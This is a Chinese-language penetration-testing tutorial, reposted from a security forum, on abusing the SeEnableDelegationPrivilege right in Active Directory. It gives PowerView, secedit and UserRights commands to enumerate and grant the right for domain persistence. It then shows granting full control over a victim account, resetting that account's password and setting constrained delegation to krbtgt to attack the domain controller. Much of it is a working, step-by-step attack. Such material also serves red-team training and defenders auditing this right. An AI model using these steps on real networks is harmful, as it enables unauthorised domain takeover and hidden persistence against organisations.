域渗透——SeEnableDelegationPrivilege的利用
2020-03-03 09:51:00 Author: xz.aliyun.com(查看原文) 阅读量:585 收藏

SeEnableDelegationPrivilege是在域控制器的本地安全策略中控制的用户权限,并通过组策略进行管理。该权限配置在本地策略中的用户权限分配,策略名为:信任计算机和用户帐户可以执行委派"

如果得到一个拥有此权限的域用户,那么就可以通过设置委派来攻击域控或者当你得到域控权限的时候通过给某用户添加SeEnableDelegationPrivilege来进行域控权限维持,下文将讲解一下利用过程。

注: 更多权限请查看微软手册:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN

寻找域中分配了SeEnableDelegationPrivilege的用户

GPO

域上一般默认有两个GPO:Default Domain PolicyDefault Domain Controllers Policy,这只是他们显示的名称,他们实际名称为它们的GUID,分别为:{31B2F340-016D-11D2-945F-00C04FB984F9}{6AC1786C-016F-11D2-945F-00C04fB984F9}

可以通过powerview枚举域中的所有GPO

Get-DomainGPO

查找指定GPO

Get-DomainGPO -Identity "Default Domain Controllers Policy"

其中gpcfilesyspath为该GPO策略文件的位置。

我们可以通过GPODefault Domain Controllers PolicyGptTmpl.inf文件来寻找域中哪些用户(组)分配了SeEnableDelegationPrivilegeGptTmpl.inf文件位于\\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

type "\\test.local\SYSVOL\test.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

secedit

还可以通过secedit来查看,和GPO一个道理

注: secedit为组策略的命令行版本

secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

参数:

/export:导出组策略

/cfg:指定安全模板的路径和名称

/areas:指定允许系统的安全区域,我们这里是USER_RIGHTS:指定登录用户的权限和允许特权

powershell

powershell的话可以使用UserRights,下载地址:地址

另外还可以使用powerview

$p = Get-DomainPolicy -Source DC
$p["Privilege Rights"]

指定用户添加SeEnableDelegationPrivilege

默认情况下,只有BUILTIN\Administrators的成员(即Domain Admins/Enterprise Admins/etc)拥有SeEnableDelegationPrivilege权限,普通用户是没有此权限的,所有下面将列举给普通用户添加SeEnableDelegationPrivilege权限的方法。

GPO

通过修改{6AC1786C-016F-11D2-945F-00C04fB984F9}GptTmpl.inf文件就可以给指定用户添加SeEnableDelegationPrivilege权限。

将用户SID或用户名添加到[Privilege Rights]下的SeEnableDelegationPrivilege中,当DC重启或者刷新其组策略时,该设置就会生效。

添加之后刷新组策略让其设置生效

gpupdate /force

使用powerview验证是否成功添加

$p = Get-DomainPolicy -Source DC
$p.PrivilegeRights
"S-1-5-21-662417213-3583657854-423750704-1001" |Convert-SidToName

secedit

导出配置文件

secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

导出之后,在[Privilege Rights]项下的SeEnableDelegationPrivilege添加用户的SID或者用户名

将修改之后的配置覆盖掉当前设置

secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS

powershell

使用UserRight给指定用户添加权限

Grant-UserRight -Account qiyou -Right SeEnableDelegationPrivilege

验证

Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege

寻找一个受害者

当得到SeEnableDelegationPrivilege权限之后,我们需要寻找一个域内对象来做为受害者(也可以是自己),这里就以其它用户test为例

注: 如果受害者是自己那么不用接下来的这些操作了,直接设置委派就可以了

添加对指定用户的完全访问权限,这添加qiyoutest的完全访问权限

Add-DomainObjectAcl -TargetIdentity 'f9f0db29-83b3-4a0c-8966-e1db3371d028' -PrincipalIdentity qiyou -Rights All

验证权限

Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}

可以看到用户qiyou对用户test已经拥有了完全访问权限GenericAll,这时候我们可以不知道用户test密码情况下强行更改用户test的密码、注册SPN等等。

现在切换到登陆了qiyou这个用户的另外一台域内主机

qiyou的身份给用test注册SPN和修改密码

然后给用户test设置约束委派

Import-Module .\Microsoft.ActiveDirectory.Management.dll
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local")}

验证是否成功添加

Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

然后就可以通过约束委派去攻击域控了,关于约束委派攻击可以参考这篇文章:地址,我这里就不多赘述了

https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN?redirectedfrom=MSDN)


文章来源: http://xz.aliyun.com/t/7289
如有侵权请联系:admin#unsafe.sh